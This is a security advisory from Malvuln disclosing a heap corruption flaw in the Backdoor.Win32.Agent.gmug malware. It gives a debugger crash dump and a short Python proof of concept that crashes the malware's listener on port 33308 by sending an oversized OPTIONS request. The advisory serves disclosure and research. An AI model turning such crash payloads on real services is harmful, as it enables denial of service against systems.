Backdoor.Win32.Agent.gmug malware suffers from a heap corruption vulnerability.
889bf749a2d9d02d15c51abcd0c6d84aDiscovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c7763bae3376a9f2865a1a18e84c259e.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Agent.gmug
Vulnerability: Heap Corruption
Description: The malware listens on TCP port 33308, third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption.
Type: PE32
MD5: c7763bae3376a9f2865a1a18e84c259e
Vuln ID: MVID-2021-0194
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/29/2021
Memory Dump:
(1a90.1b4): Unknown exception - code c0000017 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=4f495458 edx=00000053 esi=00000003 edi=00000003
eip=77aeed3c esp=045ef264 ebp=045ef3f4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
77aeed3c c21400 ret 14h
0:004> .ecxr
eax=045efba0 ebx=045efc38 ecx=4f495458 edx=00000053 esi=0038f000 edi=00000000
eip=77b53c59 esp=045efba0 ebp=045efbf8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!RtlpAllocateHeapRaiseException+0x3b:
77b53c59 8b4dfc mov ecx,dword ptr [ebp-4] ss:002b:045efbf4=afc7855f
0:004> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe
FAULTING_IP:
ntdll!RtlpAllocateHeapRaiseException+3b
77b53c59 8b4dfc mov ecx,dword ptr [ebp-4]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77b53c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b)
ExceptionCode: c0000017
ExceptionFlags: 00000000
NumberParameters: 1
Parameter[0]: 4f495458
DEFAULT_BUCKET_ID: HEAP_CORRUPTION
PROCESS_NAME: Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe
ERROR_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation.
EXCEPTION_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation.
EXCEPTION_PARAMETER1: 4f495458
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
ADDITIONAL_DEBUG_TEXT: Enable Pageheap/AutoVerifer
FAULTING_THREAD: 000001b4
PRIMARY_PROBLEM_CLASS: HEAP_CORRUPTION
BUGCHECK_STR: APPLICATION_FAULT_HEAP_CORRUPTION
LAST_CONTROL_TRANSFER: from 77ac173a to 77b53c59
STACK_TEXT:
045efbf8 77ac173a 13145ad0 02570000 00030988 ntdll!RtlpAllocateHeapRaiseException+0x3b
045efc38 77ac13ee 0000000c 00000000 13145ad0 ntdll!RtlpAllocateHeapInternal+0x33a
045efc50 13142054 02570000 0000000c 4f49544f ntdll!RtlAllocateHeap+0x3e
WARNING: Stack unwind information not available. Following frames may be wrong.
045efc68 1314210c 4f49544f 045efc94 131427b2 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x2054
045efc74 131427b2 4f49544f 00000008 0258e8e0 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x210c
045efc94 13145c0e 4f49544f afc78257 045efd24 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x27b2
045eff80 776f8654 0258e8e0 776f8630 e0881c1e Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x5c0e
045eff94 77ae4a77 0258e8e0 afc7817b 00000000 kernel32!BaseThreadInitThunk+0x24
045effdc 77ae4a47 ffffffff 77b09eb3 00000000 ntdll!__RtlUserThreadStart+0x2f
045effec 00000000 13145ad0 0258e8e0 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: ~4s; .ecxr ; kb
SYMBOL_NAME: heap_corruption!heap_corruption
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: heap_corruption
IMAGE_NAME: heap_corruption
DEBUG_FLR_IMAGE_TIMESTAMP: 0
FAILURE_BUCKET_ID: HEAP_CORRUPTION_c0000017_heap_corruption!heap_corruption
BUCKET_ID: APPLICATION_FAULT_HEAP_CORRUPTION_heap_corruption!heap_corruption
Followup: MachineOwner
---------
0:004> .exr -1
ExceptionAddress: 77b53c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b)
ExceptionCode: c0000017
ExceptionFlags: 00000000
NumberParameters: 1
Parameter[0]: 4f495458
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=33308
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
A = "OPTIONS / "+"A"*5482
B = "HTTP/1.1 "
C="A"*5481
PAYLOAD = A+B+C
s.send(PAYLOAD)
s.close()
print("Backdoor.Win32.Agent.gmug / Heap Corruption")
print("MD5: c7763bae3376a9f2865a1a18e84c259e")
print("By Malvuln");
if __name__=="__main__":
doit()
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